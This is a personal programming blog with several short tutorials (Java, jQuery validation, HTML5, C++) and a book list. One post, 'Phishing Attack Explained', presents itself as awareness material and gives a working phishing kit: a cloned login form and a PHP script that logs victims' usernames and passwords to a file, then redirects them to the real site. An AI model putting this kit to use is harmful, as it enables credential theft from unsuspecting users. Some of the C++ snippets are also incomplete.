Thursday, February 12, 2015

Top 5 Books for Web Development

Web Development is one of the must have skills you should have .No matter of what fields you are you must know how the web pages and websites are made . Today we will pick up Top 10 best books for web development for the beginners . Web development are divided into two parts : a. Frontend Development: These are the stuff you see in the browser like HTML,CSS, Javascript b. Backend Development: These are stuff that deals with servers,databases like PHP,Python,Ruby on Rails   This is a basic list about HTML 5 and CSS 3 books from  category a  :  

1. Learning Web Design: A Beginner's Guide to HTML, CSS, JavaScript, and Web Graphics

cover   Buy on Flipkart ,  Amazon.com,  Amazon.in

2. Html5 Black Book:Covers Css3,Javascript,Xml,Xhtml,Ajax,Php And Jquery

9789350040959   Buy on Flipkart , Amazon.com, Amazon.in

3. Html & Css: The Complete Reference (English) 5th Edition

20100427_49c1da1ac1ce34f1b1b1k956fvHEuClN   Buy on Flipkart , Amazon.com , Amazon.in

4. HTML5 and CSS3 For Dummies

cover225x225   Buy on Flipkart, Amazon.com , Amazon.in  

5. Html5 Unleashed (English)

html5-unleashed-400x400-imadwschhyfpntst   Buy on Flipkart, Amazon.com, Amazon.in


  Another than this you can try  treehouse video tutorials :  

 also you can start with http://www.w3schools.com/ .   Thanks and stay tuned for other list .

Wednesday, July 10, 2013

Phishing Attack Explained

This is here because my my web service provider blocked my IP everytime i tried to publish it on my blog.
Any way here it is part of your PHP tutotial.


Today i'll talk about PHISHING attacks,If you thinking of hacking Facebook accounts after reading this tutorial or thinking i'm going to help you in hacking then close the Tab right now.I'm Just explaining the source code of a Phishing scenario .
Phishing is not hacking at all it is something called Social Engineering.Basically attacker fool the users of website.

Scenario:
Manish is user of some chat room and his friend Tushar is a good programmer and know some cool tricks.
Tushar posted a link while  chating with manish.May be something like this:

Visit this cool site http://xyz.ghte.com ,it'll give you free recharge or something this play this game and become lucky winner of one lakh rupee.
Manish get excited want to try what the site is all about. He clicked the given link Nothing happened ,it appears like login page of his chatroom, he think there will be something after login.He logged in and nothing happen,it is the same chatroom.

But day after this incident when manish tried to login his chat room it said "Wrong Password".He tried many time but the result was still same "wrong password".

So what happened ...?

Manish got Hacked by Tushar.How..?? lets see:

Code:
Let us assume this is login page of the chatroom:
<html>
<body>
<form action="login.php" method="post">
Name:<br />
<input name="user" type="text" /><br />
pass:<br />
<input name="pass" type="password" />
<input name="" type="submit" />
</form>
</body>
</html>


there is nothing special about the code it contain a form with two fields name and password ,if a user enter his name and password he'll redirected to the chatroom.
But what tushar did is,he copied the source code of login page and change the action field "login.php" to his own crafted page "phish.php".Now his login page will be something like this :
<html>
<body>
<form action="phish.php" method="post">
Name:<br />
<input name="user" type="text" /><br />
pass:<br />
<input name="pass" type="password" />
<input name="" type="submit" />
</form>
</body>
</html>

Note the action field .
He created a page called phish.php where the user will be redirected.Phish.php will look like some this:
<?php
header("location:http://chatroom.com/login.php");
$handle=fopen("logs.txt","a");
foreach($_POST as $var=>$value){
    fwrite($handle,$var);
    fwrite($handle,"=");
    fwrite($handle,$value);
    }
    fclose ($handle)
?>

and he uploaded both the file to his domain http://xyz.ghte.com.
Explaing the code:
header is used to redirect the page,here what tushar did is redirect the user after login to the chatroom hence user will never know what happened.
Next created a file handling variable $handle which will open a txt file with file name logs,with read and write previlage using "a".After that he created a loop , for every Post request it will create a variable with input name and the value of input field.Next fwrite is used to write the variable with value in logs.txt.It will look like something this:

user=manishpass=manish1234


Hence Tushar can see Manish username and password in logs.txt.Hence Manish got hacked.

Caution :
Never click the a unknown link.
Always check the address bar before login .
If you find any phishing page on any website report to the site administrator.

Surf Safe.

Thursday, June 27, 2013

Hello World program in JAVA

 

Today on 6Tags i am going to write about starting  journey as Java programmer.Java is one of the most popular programming language in the world.Check out wikipedia for its history.I'm going to write about how to write a simple hello world program in java.Lets start our journey as a java programmer.


requirements:

1. Windows 7/8

2. Latest versions of JDK DOWNLOAD

3.A working human brain


Download and install latest version of JDK, i working with JDK1.7_03.
Now you have to set the path for cmd to know where the java resides.For this got to:
c:/program files/java/["your java version"]/bin 



 copy the address ,

right click on my computer

choose properties

go to Advance system setting

in Advanced tab choose  Environment Variables

Click on path

variable name=path

variable value= [paste the location you copied]






You are on the Half way now,
now choose a editor NOTEPAD,ECLIPSE,NETBEANS ,many options are out there, i'll go with NOTEPAD.
open NOTEPAD
copy the program and save it as helloworld.java. Here it is

class HelloWorld
{
    public static void main(String[] args)
    {
        System.out.println("Hello World!");
    }
}
Program is quite simple we created a class helloworld, then a function to print the hello world.
Now for some eay work, make a folder in c drive , my folder is dr and save the helloworld.java there.
Make sure your file is not helloworld.java.txt.

Now open CMD
go the directory where you saved your  java program.for me it cd c:\dr
type JAVAC helloworld.java,this will create a byte code that will be system independent and a helloworld class file will be created in folder.
If it shows no error then type
JAVA HelloWorld  (this is the class name , it is case sensitive,and there is no extension).
And EUREKA you are now a java programmer.


Now one thing very important,I am not a java programmer i just wrote my helloworld yesterday faced a small problem, that can be huge for a newcomer . My source code was like this
class manish
{
    public static void main(String[] args)
    {
        System.out.println("Hello World!");
    }
}
And i saved it as mac.java.
Now when i run the program javac mac.java run successfully but java mac showed a error like this 
COULD NOT FIND OR LOAD MAIN CLASS MAC, i goolged stack overflow and other discussion forum suggested other commands ,nothing happend then suddenly it strike it is talking about class so i changed my command from java mac to java manish, and bang !!..:) Beaware of these silly mistakes.


Saturday, June 1, 2013

Jquery Form Vaidation Tutorial



I have been working on Jquery these days,it is really simple to understand.Today i am going to talk about form validation using jquery.You can validate the form using alert box with JS see here.But the length of code is almost same but Jquery is more fancy and stylish.For this you'll need:

1.Latest version of jquery(download here)
2.A jquery validation plugin(downoad here)
3.A html page to validate

lets create our HTML page:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>form validation using jquery</title>
<script src="jquery-1.9.1.js"></script>
<script src="validate.min.js"></script>


</head>

<body>
<script>
$(document).ready(function () {

    $('#f1').validate({ // initialize the plugin
        rules: {
            name: {
                required: true,
               minlength:7
            },
            pass: {
                required: true,
                minlength: 5
            }
        }
    });

});
</script>
<center><h1>Jquery form vaidation</h1></center>
<form action="welcome.html" method="post" id="f1">
Name:<br /><input name="name" type="text" /><br />
Password:<br /><input name="pass" type="password" /><br />
<input name="" type="submit" value="submit" />
</form>
</body>
</html>
 
In this page i created two text fields name and password, and we going to validate it for minimum 7 and password for 5 character and no field will be empty.For this we get Jquery and validate plugin, then #f1 is my form id change it with yours and name and pass are text fields name.Isn't it simple.You can add custom messages with validation by adding messages:{
name:{
enter your real name  }} just after rules.Even you can check for email fields by adding email:true in the respective field.
Here is the demo:
DEMO
Hope you'll like it ,stay tuned for more tutorials

Wednesday, May 8, 2013

HTML5 - An Introduction



What is HTML5?
Previous version of HTML was HTML 4.01,HTML5 is the best thing that changed web in recent period of time.HTML5 is still not complete ,however the latest browsers come with HTML5 support.

What's new ?
There's a long list which is new.HTML5 making web fast,websites more beautiful and whole new experience for both user and developer.Some of the new features are 
1. SVG/CANVAS (Whole new 2d and 3d graphics experience)
2.VIDEO(attaching video is now more simple )
3.Geolocation (getting location of the users)
4.App Cache (Appcache is used to store web cache is your browser,that means you can access the website without internet if website want to..!!)
5.Database connectivity(HTML5 provide connectivity to Database)
6.Content specific elements(article,section,footer,header and lot more)

New Tags ?
There are many specific tags for every thing you want.Here is list of tags:
1.<canvas>
2.<audio>
3.<video>
4.<source>
5.<embed>
6.<track>
7.<datalist>
8.<keygen>
9.<output>
10.<article>
11.<aside>
12.<section>
13.<footer>
14.<header>
15.<bdi>
16.<mark>
17.<nav>
and many more !!
Tutorials on HTML 5 coming soon !
Dont forget to Bookmark us :)      

Monday, May 6, 2013

Function Overloading in C++

Overloading refers to the use of the same thing for different purposes.Function overloading means use of same function name to create functions that perform variety of different tasks.We can design a family of functions with one function name but different argument lists.The function will perform different operation depending on the argument list of the function.Here is a program in which i used two function with same name but one function will add 2 numbers other will add 3 numbers.

#include<iostream.h>
#include<conio.h>
void add(int x,int y,int z);
void add(int x,int y);
void main(){
int x=5,y=6,z=7;
add(x,y);
add(x,y,z);
getch();
}
void add(int x,int y){
int s;
s=x+y;
cout<<"the sum is\n"<<s;
}
void add(int x,int y,int z){
int s;
s=x+y+z;
cout<<"\nthe sum is\n"<<s;
 

Output:





similarly you do addition and multiplication with functions of same name,but different numbers of arguments. 

Program To Find Reverse Of A Number

This is the program to find reverse of a given Number:

#include<iostream.h>
#include<conio.h>
void main()
{
int num,q,r;
cout<<"enter the number\n";
cin>>num;
cout<<"reverse of the number\n";
do{
q=num/10;
r=num%10;
cout<<r;
num=q;
}
while(num!=0);


getch();
 


Output: